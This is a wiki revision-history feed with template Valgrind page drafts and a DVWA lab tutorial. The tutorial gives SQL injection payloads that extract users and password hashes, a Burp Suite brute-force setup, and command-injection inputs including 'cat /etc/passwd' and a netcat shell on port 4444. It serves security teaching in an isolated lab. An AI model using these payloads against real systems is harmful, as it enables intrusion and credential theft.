		<summary type="html">&lt;p&gt;VHorvathova: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== What is Valgrind? ==&lt;br /&gt;
&lt;br /&gt;
Valgrind is an instrumentation framework for building dynamic analysis tools. There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. You can also use Valgrind to build new tools. &lt;br /&gt;
&lt;br /&gt;
Valgrind executes a program 20-30 times slower and performs dynamic code analysis.&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
The Valgrind distribution currently includes seven production-quality tools:&lt;br /&gt;
* Memcheck&lt;br /&gt;
* Cachegrind&lt;br /&gt;
* Callgrind&lt;br /&gt;
* Massif&lt;br /&gt;
* Helgrind&lt;br /&gt;
* DRD&lt;br /&gt;
* DHAT&lt;br /&gt;
&lt;br /&gt;
=== heading ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://valgrind.org/&lt;br /&gt;
* https://valgrind.org/info/tools.html&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>VHorvathova</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Valgrind&amp;diff=11074</id>
		<title>Valgrind</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Valgrind&amp;diff=11074"/>
		<updated>2023-01-13T15:18:32Z</updated>

		<summary type="html">&lt;p&gt;VHorvathova: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
Valgrind is an instrumentation framework for building dynamic analysis tools. There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. You can also use Valgrind to build new tools. &lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
The Valgrind distribution currently includes seven production-quality tools:&lt;br /&gt;
* Memcheck&lt;br /&gt;
* Cachegrind&lt;br /&gt;
* Callgrind&lt;br /&gt;
* Massif&lt;br /&gt;
* Helgrind&lt;br /&gt;
* DRD&lt;br /&gt;
* DHAT&lt;br /&gt;
&lt;br /&gt;
=== heading ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://valgrind.org/&lt;br /&gt;
* https://valgrind.org/info/tools.html&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>VHorvathova</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Valgrind&amp;diff=11071</id>
		<title>Valgrind</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Valgrind&amp;diff=11071"/>
		<updated>2023-01-13T15:14:20Z</updated>

		<summary type="html">&lt;p&gt;VHorvathova: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
Valgrind is an instrumentation framework for building dynamic analysis tools. There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. You can also use Valgrind to build new tools. &lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
=== Step 1 ===&lt;br /&gt;
&lt;br /&gt;
Enter these commands in the shell&lt;br /&gt;
&lt;br /&gt;
 echo foo&lt;br /&gt;
 echo bar&lt;br /&gt;
&lt;br /&gt;
=== Step 2 ===&lt;br /&gt;
&lt;br /&gt;
Make sure to read&lt;br /&gt;
&lt;br /&gt;
* War and Peace&lt;br /&gt;
* Lord of the Rings&lt;br /&gt;
* The Baroque Cycle&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
[[Device to be used with this documentation]]&lt;br /&gt;
[[Maybe another device to be used with this documentation]]&lt;br /&gt;
&lt;br /&gt;
== Courses ==&lt;br /&gt;
&lt;br /&gt;
* [[A course where this documentation was used]] (2017, 2018)&lt;br /&gt;
* [[Another one]] (2018)&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://wikipedia.org&lt;br /&gt;
* https://google.com&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>VHorvathova</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Valgrind&amp;diff=11065</id>
		<title>Valgrind</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Valgrind&amp;diff=11065"/>
		<updated>2023-01-13T14:57:08Z</updated>

		<summary type="html">&lt;p&gt;VHorvathova: Created page with &amp;quot;== Summary ==   Valgrind is an instrumentation framework for building dynamic analysis tools. There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. You can also use Valgrind to build new tools.   == Requirements ==  * Operating system: Ubuntu 18.04 bionic amd64 * Packages: git emacs  In order to complete these steps, you must have followed Some Other Documentation before.  == Description...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
Valgrind is an instrumentation framework for building dynamic analysis tools. There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. You can also use Valgrind to build new tools. &lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: Ubuntu 18.04 bionic amd64&lt;br /&gt;
* Packages: git emacs&lt;br /&gt;
&lt;br /&gt;
In order to complete these steps, you must have followed [[Some Other Documentation]] before.&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
=== Step 1 ===&lt;br /&gt;
&lt;br /&gt;
Enter these commands in the shell&lt;br /&gt;
&lt;br /&gt;
 echo foo&lt;br /&gt;
 echo bar&lt;br /&gt;
&lt;br /&gt;
=== Step 2 ===&lt;br /&gt;
&lt;br /&gt;
Make sure to read&lt;br /&gt;
&lt;br /&gt;
* War and Peace&lt;br /&gt;
* Lord of the Rings&lt;br /&gt;
* The Baroque Cycle&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
[[Device to be used with this documentation]]&lt;br /&gt;
[[Maybe another device to be used with this documentation]]&lt;br /&gt;
&lt;br /&gt;
== Courses ==&lt;br /&gt;
&lt;br /&gt;
* [[A course where this documentation was used]] (2017, 2018)&lt;br /&gt;
* [[Another one]] (2018)&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://wikipedia.org&lt;br /&gt;
* https://google.com&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>VHorvathova</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=DVWA&amp;diff=9729</id>
		<title>DVWA</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=DVWA&amp;diff=9729"/>
		<updated>2022-01-30T17:37:02Z</updated>

		<summary type="html">&lt;p&gt;VHorvathova: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;The so-called damn vulnerable web app (DVWA) is also a vulnerable PHP / MySQL web service [[https://wiki.elvis.science/index.php?title=Unsecure_Webservices:_bWAPP_vs._JuiceShop]]. It is very similar to bWAPP. DVWA is free and can be used by anyone. The purpose of this application is to improve and test the skills and tools of security professionals and enthusiasts in a legal and secure environment. It is also used to explore the different vulnerabilities in four difficulties. More detailed explanations and information can be found on the DVWA homepage or at the GitHub page.&lt;br /&gt;
&lt;br /&gt;
== Architecture ==&lt;br /&gt;
&lt;br /&gt;
As already mentioned, the Damn Vulnerable Web Application (DVWA) is a free PHP application which is like bWAPP. It also uses a SQL database to persist information. The service is provided by Linux or Windows. XAMPP is also supported.&lt;br /&gt;
[[File:DVWA architecture.png|thumb|none|500px]]&lt;br /&gt;
&lt;br /&gt;
== Installation (1) ==&lt;br /&gt;
&lt;br /&gt;
The installation of DVWA is very similar to that of [[bWAPP]]. Because the application is very fragile, it is recommended to install it on a virtual machine, and not in the public HTML folder. The following steps show a successful installation:&amp;lt;/br&amp;gt;&lt;br /&gt;
*The application could be downloaded on the official homepage of DVWA (http://www.dvwa.co.uk/). The ZIP file is extracted on any path.&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:DVWA official Website.png|thumb|none|500px]]&amp;lt;/br&amp;gt;&lt;br /&gt;
*The name of the folder is changed to “dvwa” and in the /xampp/htdocs path copied from XAMPP. Apache and MySQL should be activated in the XAMPP control panel.&amp;lt;/br&amp;gt;&lt;br /&gt;
*The password is deleted from the configuration file “config.inc.php.dist”.&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:DVWA configfile.png|thumb|none|500px]]&amp;lt;/br&amp;gt;&lt;br /&gt;
*/localhost/dvwa is called by the browser, which leads you to the login.&lt;br /&gt;
**Username is “admin” &lt;br /&gt;
**Password is “password”&lt;br /&gt;
*Now you are logged in and ready to work with DVWA.&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:DVWA installed and ready to use.png|thumb|none|500px]]&amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;&#039;Note&#039;&#039;&#039;: Before you start, the database should be set or reset.&lt;br /&gt;
&lt;br /&gt;
== Installation (2) ==&lt;br /&gt;
&lt;br /&gt;
This is an alternative way of setting up the DVWA, which is sometimes more reliable than the first one. It requires creating a VM with a DVWA iso file, like you would do with any other VM. You just need to choose the correct ISO during setup. It can be downloaded here: https://www.vulnhub.com/entry/damn-vulnerable-web-application-dvwa-107,43/. Once the DVWA VM is running, you can access it in the browser of another VM via: http://&amp;lt;IP_DVWA_VM&amp;gt;/login.php. You just need to choose NAT as network setting on both used VMs, so that they aren&#039;t exposed to the actual network. Exposing the DVWA to the network is very dangerous, as this is in fact a very vulnerable server. Should it get compromised from outside, the attacker would gain access to your home network.&lt;br /&gt;
&lt;br /&gt;
== SQL injection ==&lt;br /&gt;
&lt;br /&gt;
Let&#039;s look at the SQL injection vulnerability.&lt;br /&gt;
* In contrast to bWAPP, no search terms are entered in the search field, here we are searching by an identification number (ID) of the user in the database. An identification number returns the first name and last name of a user.&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:DVWA search.PNG|thumb|none|500px]]&amp;lt;/br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* When we enter &amp;quot;1&amp;quot; in the search field, the query being sent to the database really looks like this:&lt;br /&gt;
 $query  = &amp;quot;SELECT first_name, last_name FROM users WHERE user_id = &#039;$id&#039;;&amp;quot;;&lt;br /&gt;
 $query  = &amp;quot;SELECT first_name, last_name FROM users WHERE user_id = 1;&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
* If we enter &amp;quot;1&#039;&amp;quot; in the search field, we will get a syntax error with the associated error message. So, we recognize that the parameters in the URL are vulnerable to error-based SQL injection. This means we can send commands (queries) to the database to extract some information. The displayed error message is:&lt;br /&gt;
 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near &#039;&#039;1&#039;&#039;&#039; at line 1&lt;br /&gt;
&lt;br /&gt;
* Next we can try executing an always true query. The example SQL code would look like this:&lt;br /&gt;
 SELECT first_name, last_name FROM users WHERE user_id = &#039;a&#039; OR &#039;1&#039;=&#039;1&#039;&lt;br /&gt;
&lt;br /&gt;
* When we enter &amp;lt;b&amp;gt;a’ or ‘1’=‘1&amp;lt;/b&amp;gt; in the ID field, sending an always-true query, we get all users with their first and last names from the database.&lt;br /&gt;
[[File:True1.PNG|thumb|none|250px]]&amp;lt;/br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* For union-based SQLi we need to know the number of columns in a table to be able to execute an UNION query. To find this, we enter &amp;lt;b&amp;gt;1&#039; order by 9#&amp;lt;/b&amp;gt; to try if the table has 9 columns. This returns an error, meaning we need to lower the number until we get an actual result. After several tires, DVWA returns actual contents when entering number 2. This means, our table of users has 2 columns.&lt;br /&gt;
&lt;br /&gt;
* Next we can try the union-based SQLi. We start with entering &amp;lt;b&amp;gt;1&#039; union select 1,2 #&amp;lt;/b&amp;gt;, which will simply return the numbers 1 and 2 in a certain spot. This spot is where we can then extract whatever information is desired. The hashtag # comments out anything that comes after, simply making sure nothing interferes with the query.&lt;br /&gt;
[[File:Union4.PNG|thumb|none|250px]]&lt;br /&gt;
&lt;br /&gt;
* We can try entering the following in the ID field: &amp;lt;b&amp;gt;1&#039; union select database(),user() #&amp;lt;/b&amp;gt;, which returns the database name and current user in the same position.&lt;br /&gt;
[[File:Union5.PNG|thumb|none|300px]]&lt;br /&gt;
&lt;br /&gt;
* Now that we know the database name, we can extract the tables in this database by &amp;lt;b&amp;gt;1&#039; union select table_name,2 from information_schema.tables where table_schema=&#039;dvwa&#039; #&amp;lt;/b&amp;gt;. This returns the following:&lt;br /&gt;
[[File:Union6.PNG|thumb|none|700px]]&lt;br /&gt;
&lt;br /&gt;
* This tells us there are two tables in the database - users and guestbook. Here we utilize INFORMATION_SCHEMA, which provides metadata about our database.&lt;br /&gt;
&lt;br /&gt;
* Now we can discover what columns exist in the table &amp;quot;users&amp;quot;. We enter the query &amp;lt;b&amp;gt;1&#039; union select column_name,2 from information_schema.columns where table_name=&#039;users&#039; #&amp;lt;/b&amp;gt;, which results into the following:&lt;br /&gt;
[[File:Union7.PNG|thumb|none|700px]]&lt;br /&gt;
&lt;br /&gt;
* Knowing the names of the columns now allows us to extract the specific values from them. Let&#039;s look at all usernames and passwords from the table &amp;quot;users&amp;quot;. We do this with the query &amp;lt;b&amp;gt;1&#039; union select user,password from users #&amp;lt;/b&amp;gt;:&lt;br /&gt;
[[File:Union8.PNG|thumb|none|350px]]&lt;br /&gt;
&lt;br /&gt;
* Unfortunately, the data is hashed, and we have to use external software to crack them (John the Ripper). For this we can collect the usernames and passwords in one file like so and run Jack:&lt;br /&gt;
[[File:John pass hash.PNG|thumb|none|600px]]&lt;br /&gt;
&lt;br /&gt;
* Now we have extracted the passwords with usernames and are therefore able to penetrate the database. In a real web application setting, this is extremely dangerous to know the admin user, as this would allow the attacker to do practically anything.&lt;br /&gt;
&lt;br /&gt;
== Brute force ==&lt;br /&gt;
For this attack, we will be using a Kali Linux machine with BurpSuite and Hydra. With the proxy we will be intercepting traffic between the DVWA and BurpSuite&#039;s browser. First, let&#039;s select low security in the DVWA and head to the &amp;quot;Brute Force&amp;quot; navigation tab. Here, we see a login form with a username and password. We will enter some test data and look at the request in BurpSuite:&lt;br /&gt;
 username: username&lt;br /&gt;
 password: password&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Dvwa1.png|thumb|none|700px]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
Now, click on &amp;quot;Send to Intruder&amp;quot; and change to the &amp;lt;i&amp;gt;Intruder&amp;lt;/i&amp;gt; tab in BurpSuite. Now click on Positions, and for &amp;lt;b&amp;gt;Attack type&amp;lt;/b&amp;gt; choose &amp;quot;Cluster bomb&amp;quot;. Click on &amp;quot;Clear §&amp;quot; on the right and then select the entered username and password values and click &amp;quot;Add §&amp;quot; on the right.&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Dvwa2.png|thumb|none|700px]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
Now go to the &amp;lt;i&amp;gt;Payloads&amp;lt;/i&amp;gt; tab to &amp;quot;Payload options&amp;quot; and load the wordlist &amp;lt;i&amp;gt;/usr/share/wordlists/metasploit/http_default_users.txt&amp;lt;/i&amp;gt;. Scroll up to &amp;quot;Payload Sets&amp;quot; and select &amp;lt;b&amp;gt;2&amp;lt;/b&amp;gt;. Now go to &amp;quot;Payload options&amp;quot; again and load a second wordlist &amp;lt;i&amp;gt;/usr/share/wordlists/metasploit/http_default_pass.txt&amp;lt;/i&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Now, go to the &amp;lt;i&amp;gt;Options&amp;lt;/i&amp;gt; tab (still inside the Intruder) and clear the Grep-Match list. Then enter &amp;quot;&amp;lt;b&amp;gt;Username and/or password incorrect.&amp;lt;/b&amp;gt;&amp;quot;, which is exactly what the DVWA outputs on this login page in the case of an incorrect login attempt, and add it to the Grep-Match list. Scroll up and &amp;lt;b&amp;gt;Start attack&amp;lt;/b&amp;gt;. We are looking for entries with the unchecked &amp;quot;username&amp;quot; column. The output should look something like this:&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Dvwa3.png|thumb|none|700px]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
In our case this is&lt;br /&gt;
 username: admin&lt;br /&gt;
 password: password&lt;br /&gt;
After entering in to the login form, we are successfully logged in and get the message:&lt;br /&gt;
 Welcome to the password protected area admin&lt;br /&gt;
&lt;br /&gt;
== Command execution ==&lt;br /&gt;
The command execution vulnerability occurs when the application allows the execution of system commands. It can be very dangerous depending on the type of command and its impact on the system. Let&#039;s demonstrate this with a simple &amp;lt;b&amp;gt;ECHO&amp;lt;/b&amp;gt; command (keep in mind, this is a PHP application).&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Dvwa5.png|thumb|none|500px|Medium and low security level]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Dvwa4.png|thumb|none|500px|High security level]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
We can see the difference between the security levels, which is based on the source code of the DVWA: &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;b&amp;gt;Low security level&amp;lt;/b&amp;gt;: no input validation&amp;lt;br&amp;gt;&lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 &lt;br /&gt;
 if( isset( $_POST[ &#039;Submit&#039; ]  ) ) {&lt;br /&gt;
        // Get input&lt;br /&gt;
        $target = $_REQUEST[ &#039;ip&#039; ];&lt;br /&gt;
 &lt;br /&gt;
        // Determine OS and execute the ping command.&lt;br /&gt;
        if( stristr( php_uname( &#039;s&#039; ), &#039;Windows NT&#039; ) ) {&lt;br /&gt;
                // Windows&lt;br /&gt;
                $cmd = shell_exec( &#039;ping  &#039; . $target );&lt;br /&gt;
        }&lt;br /&gt;
        else {&lt;br /&gt;
                // *nix&lt;br /&gt;
                $cmd = shell_exec( &#039;ping  -c 4 &#039; . $target );&lt;br /&gt;
        }&lt;br /&gt;
 &lt;br /&gt;
        // Feedback for the end user&lt;br /&gt;
        $html .= &amp;quot;&amp;amp;lt;pre&amp;amp;gt;{$cmd}&amp;amp;lt;/pre&amp;amp;gt;&amp;quot;;&lt;br /&gt;
 }&lt;br /&gt;
 ?&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;b&amp;gt;Medium security level&amp;lt;/b&amp;gt;: Here, the rest of the code looks like low level security, but has an added part for substituting &#039;&amp;amp;&amp;amp;&#039; and &#039;;&#039;.&amp;lt;br&amp;gt;&lt;br /&gt;
 // Set blacklist&lt;br /&gt;
 $substitutions = array(&lt;br /&gt;
        &#039;&amp;amp;&amp;amp;&#039; =&amp;gt; &#039;&#039;,&lt;br /&gt;
        &#039;;&#039;  =&amp;gt; &#039;&#039;,&lt;br /&gt;
 );&lt;br /&gt;
 &lt;br /&gt;
 // Remove any of the charactars in the array (blacklist).&lt;br /&gt;
 $target = str_replace( array_keys( $substitutions ), $substitutions, $target );&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;b&amp;gt;High security level&amp;lt;/b&amp;gt;: The &amp;quot;substitutions&amp;quot; array contents way more characters, also including the pipe | character. This is why the DVWA reacted as it did in the previously shown examples.&amp;lt;br&amp;gt;&lt;br /&gt;
 // Set blacklist&lt;br /&gt;
 $substitutions = array(&lt;br /&gt;
        &#039;&amp;amp;&#039;  =&amp;gt; &#039;&#039;,&lt;br /&gt;
        &#039;;&#039;  =&amp;gt; &#039;&#039;,&lt;br /&gt;
        &#039;| &#039; =&amp;gt; &#039;&#039;,&lt;br /&gt;
        &#039;-&#039;  =&amp;gt; &#039;&#039;,&lt;br /&gt;
        &#039;$&#039;  =&amp;gt; &#039;&#039;,&lt;br /&gt;
        &#039;(&#039;  =&amp;gt; &#039;&#039;,&lt;br /&gt;
        &#039;)&#039;  =&amp;gt; &#039;&#039;,&lt;br /&gt;
        &#039;`&#039;  =&amp;gt; &#039;&#039;,&lt;br /&gt;
        &#039;||&#039; =&amp;gt; &#039;&#039;,&lt;br /&gt;
 );&lt;br /&gt;
Now we will perform a series of information gathering commands on low security setting as demonstrated below.&lt;br /&gt;
* Show the current directory&#039;s contents&lt;br /&gt;
 ls&lt;br /&gt;
* Show in which directory path we currently find ourselves&lt;br /&gt;
 pwd&lt;br /&gt;
* Who is the current user&lt;br /&gt;
 whoami&lt;br /&gt;
* List the currently running processes&lt;br /&gt;
 ps&lt;br /&gt;
* List information about the users read out from the /etc/passwd file&lt;br /&gt;
 cat /etc/passwd&lt;br /&gt;
* Discover the hostname and the users that are logged in&lt;br /&gt;
 uname -a &amp;amp; users &amp;amp; id &amp;amp; w&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Dvwa6.png|thumb|none|700px|Command execution - Low security level]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
To for example create a reverse shell, you can set up a listener on another VM (let&#039;s choose port 4444, the listener command on a Kali Linux VM is &amp;lt;b&amp;gt;nc -lvp 4444&amp;lt;/b&amp;gt;) and enter the following into the DVWA input field:&lt;br /&gt;
 1 | netcat -v -e &#039;/bin/bash&#039; -l -p 4444&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>VHorvathova</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=DVWA&amp;diff=9728</id>
		<title>DVWA</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=DVWA&amp;diff=9728"/>
		<updated>2022-01-30T17:36:34Z</updated>

		<summary type="html">&lt;p&gt;VHorvathova: /* Command execution */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;The so-called damn vulnerable web app (DVWA) is also a vulnerable PHP / MySQL web service [[https://wiki.elvis.science/index.php?title=Unsecure_Webservices:_bWAPP_vs._JuiceShop]]. It is very similar to bWAPP. DVWA is free and can be used by anyone. The purpose of this application is to improve and test the skills and tools of security professionals and enthusiasts in a legal and secure environment. It is also used to explore the different vulnerabilities in four difficulties. More detailed explanations and information can be found on the DVWA homepage or at the GitHub page.&lt;br /&gt;
&lt;br /&gt;
== Architecture ==&lt;br /&gt;
&lt;br /&gt;
As already mentioned, the Damn Vulnerable Web Application (DVWA) is a free PHP application which is like bWAPP. It also uses a SQL database to persist information. The service is provided by Linux or Windows. XAMPP is also supported.&lt;br /&gt;
[[File:DVWA architecture.png|thumb|none|500px]]&lt;br /&gt;
&lt;br /&gt;
== Installation (1) ==&lt;br /&gt;
&lt;br /&gt;
The installation of DVWA is very similar to that of [[bWAPP]]. Because the application is very fragile, it is recommended to install it on a virtual machine, and not in the public HTML folder. The following steps show a successful installation:&amp;lt;/br&amp;gt;&lt;br /&gt;
*The application could be downloaded on the official homepage of DVWA (http://www.dvwa.co.uk/). The ZIP file is extracted on any path.&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:DVWA official Website.png|thumb|none|500px]]&amp;lt;/br&amp;gt;&lt;br /&gt;
*The name of the folder is changed to “dvwa” and in the /xampp/htdocs path copied from XAMPP. Apache and MySQL should be activated in the XAMPP control panel.&amp;lt;/br&amp;gt;&lt;br /&gt;
*The password is deleted from the configuration file “config.inc.php.dist”.&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:DVWA configfile.png|thumb|none|500px]]&amp;lt;/br&amp;gt;&lt;br /&gt;
*/localhost/dvwa is called by the browser, which leads you to the login.&lt;br /&gt;
**Username is “admin” &lt;br /&gt;
**Password is “password”&lt;br /&gt;
*Now you are logged in and ready to work with DVWA.&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:DVWA installed and ready to use.png|thumb|none|500px]]&amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;&#039;Note&#039;&#039;&#039;: Before you start, the database should be set or reset.&lt;br /&gt;
&lt;br /&gt;
== Installation (2) ==&lt;br /&gt;
&lt;br /&gt;
This is an alternative way of setting up the DVWA, which is sometimes more reliable than the first one. It requires creating a VM with a DVWA iso file, like you would do with any other VM. You just need to choose the correct ISO during setup. It can be downloaded here: https://www.vulnhub.com/entry/damn-vulnerable-web-application-dvwa-107,43/. Once the DVWA VM is running, you can access it in the browser of another VM via: http://&amp;lt;IP_DVWA_VM&amp;gt;/login.php. You just need to choose NAT as network setting on both used VMs, so that they aren&#039;t exposed to the actual network. Exposing the DVWA to the network is very dangerous, as this is in fact a very vulnerable server. Should it get compromised from outside, the attacker would gain access to your home network.&lt;br /&gt;
&lt;br /&gt;
== SQL injection ==&lt;br /&gt;
&lt;br /&gt;
Let&#039;s look at the SQL injection vulnerability.&lt;br /&gt;
* In contrast to bWAPP, no search terms are entered in the search field, here we are searching by an identification number (ID) of the user in the database. An identification number returns the first name and last name of a user.&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:DVWA search.PNG|thumb|none|500px]]&amp;lt;/br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* When we enter &amp;quot;1&amp;quot; in the search field, the query being sent to the database really looks like this:&lt;br /&gt;
 $query  = &amp;quot;SELECT first_name, last_name FROM users WHERE user_id = &#039;$id&#039;;&amp;quot;;&lt;br /&gt;
 $query  = &amp;quot;SELECT first_name, last_name FROM users WHERE user_id = 1;&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
* If we enter &amp;quot;1&#039;&amp;quot; in the search field, we will get a syntax error with the associated error message. So, we recognize that the parameters in the URL are vulnerable to error-based SQL injection. This means we can send commands (queries) to the database to extract some information. The displayed error message is:&lt;br /&gt;
 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near &#039;&#039;1&#039;&#039;&#039; at line 1&lt;br /&gt;
&lt;br /&gt;
* Next we can try executing an always true query. The example SQL code would look like this:&lt;br /&gt;
 SELECT first_name, last_name FROM users WHERE user_id = &#039;a&#039; OR &#039;1&#039;=&#039;1&#039;&lt;br /&gt;
&lt;br /&gt;
* When we enter &amp;lt;b&amp;gt;a’ or ‘1’=‘1&amp;lt;/b&amp;gt; in the ID field, sending an always-true query, we get all users with their first and last names from the database.&lt;br /&gt;
[[File:True1.PNG|thumb|none|250px]]&amp;lt;/br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* For union-based SQLi we need to know the number of columns in a table to be able to execute an UNION query. To find this, we enter &amp;lt;b&amp;gt;1&#039; order by 9#&amp;lt;/b&amp;gt; to try if the table has 9 columns. This returns an error, meaning we need to lower the number until we get an actual result. After several tires, DVWA returns actual contents when entering number 2. This means, our table of users has 2 columns.&lt;br /&gt;
&lt;br /&gt;
* Next we can try the union-based SQLi. We start with entering &amp;lt;b&amp;gt;1&#039; union select 1,2 #&amp;lt;/b&amp;gt;, which will simply return the numbers 1 and 2 in a certain spot. This spot is where we can then extract whatever information is desired. The hashtag # comments out anything that comes after, simply making sure nothing interferes with the query.&lt;br /&gt;
[[File:Union4.PNG|thumb|none|250px]]&lt;br /&gt;
&lt;br /&gt;
* We can try entering the following in the ID field: &amp;lt;b&amp;gt;1&#039; union select database(),user() #&amp;lt;/b&amp;gt;, which returns the database name and current user in the same position.&lt;br /&gt;
[[File:Union5.PNG|thumb|none|300px]]&lt;br /&gt;
&lt;br /&gt;
* Now that we know the database name, we can extract the tables in this database by &amp;lt;b&amp;gt;1&#039; union select table_name,2 from information_schema.tables where table_schema=&#039;dvwa&#039; #&amp;lt;/b&amp;gt;. This returns the following:&lt;br /&gt;
[[File:Union6.PNG|thumb|none|700px]]&lt;br /&gt;
&lt;br /&gt;
* This tells us there are two tables in the database - users and guestbook. Here we utilize INFORMATION_SCHEMA, which provides metadata about our database.&lt;br /&gt;
&lt;br /&gt;
* Now we can discover what columns exist in the table &amp;quot;users&amp;quot;. We enter the query &amp;lt;b&amp;gt;1&#039; union select column_name,2 from information_schema.columns where table_name=&#039;users&#039; #&amp;lt;/b&amp;gt;, which results into the following:&lt;br /&gt;
[[File:Union7.PNG|thumb|none|700px]]&lt;br /&gt;
&lt;br /&gt;
* Knowing the names of the columns now allows us to extract the specific values from them. Let&#039;s look at all usernames and passwords from the table &amp;quot;users&amp;quot;. We do this with the query &amp;lt;b&amp;gt;1&#039; union select user,password from users #&amp;lt;/b&amp;gt;:&lt;br /&gt;
[[File:Union8.PNG|thumb|none|350px]]&lt;br /&gt;
